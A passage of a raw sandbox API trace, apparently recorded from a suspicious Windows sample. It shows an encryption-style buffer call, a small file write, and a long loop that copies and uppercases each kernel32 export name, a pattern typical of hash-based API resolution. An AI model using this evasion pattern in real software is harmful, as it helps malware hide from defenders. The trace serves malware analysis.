pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0139.521] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0139.521] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.521] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0139.521] CloseHandle (hObject=0x5f8) returned 1 [0139.522] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0139.522] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0139.522] CloseHandle (hObject=0x0) returned 0 [0139.522] CloseHandle (hObject=0x5f4) returned 1 [0139.523] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.523] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.524] GetTickCount () returned 0x3832b [0139.524] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.524] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0139.524] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0139.524] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0139.524] lstrlenA (lpString="kernel32.dll") returned 12 [0139.524] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0139.524] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0139.524] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0139.525] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0139.525] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0139.525] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0139.525] lstrlenA (lpString="ADDATOMA") returned 8 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0139.525] lstrlenA (lpString="ADDATOMW") returned 8 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0139.525] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0139.525] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0139.525] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0139.525] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0139.525] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0139.525] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0139.525] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0139.525] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0139.525] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0139.525] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0139.525] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0139.525] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0139.525] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0139.525] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0139.525] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0139.525] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0139.525] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0139.526] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0139.526] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0139.526] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0139.526] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0139.526] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0139.526] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0139.526] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0139.526] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0139.526] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0139.526] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0139.526] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0139.526] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0139.526] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0139.526] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0139.526] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0139.526] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0139.526] lstrlenA (lpString="BACKUPREAD") returned 10 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0139.526] lstrlenA (lpString="BACKUPSEEK") returned 10 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0139.526] lstrlenA (lpString="BACKUPWRITE") returned 11 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0139.526] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0139.526] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0139.526] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0139.527] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0139.527] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0139.527] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0139.527] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0139.527] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0139.527] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0139.527] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0139.527] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0139.527] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0139.527] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0139.527] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0139.527] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0139.527] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0139.527] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0139.527] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0139.527] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0139.527] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0139.527] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0139.527] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0139.527] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0139.527] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0139.528] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0139.528] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0139.528] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0139.528] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0139.528] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0139.528] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0139.528] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0139.528] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0139.528] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0139.528] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0139.528] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0139.528] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0139.528] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0139.528] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0139.528] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0139.528] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0139.528] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0139.528] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0139.528] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0139.528] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0139.528] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0139.528] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0139.529] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0139.529] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0139.529] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0139.529] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0139.529] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0139.529] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0139.529] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0139.529] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0139.529] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0139.529] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0139.529] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0139.529] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0139.529] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0139.529] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0139.529] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0139.529] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0139.529] lstrlenA (lpString="BEEP") returned 4 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0139.529] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0139.529] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0139.529] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0139.529] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0139.529] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0139.530] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0139.530] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0139.530] lstrcpyA 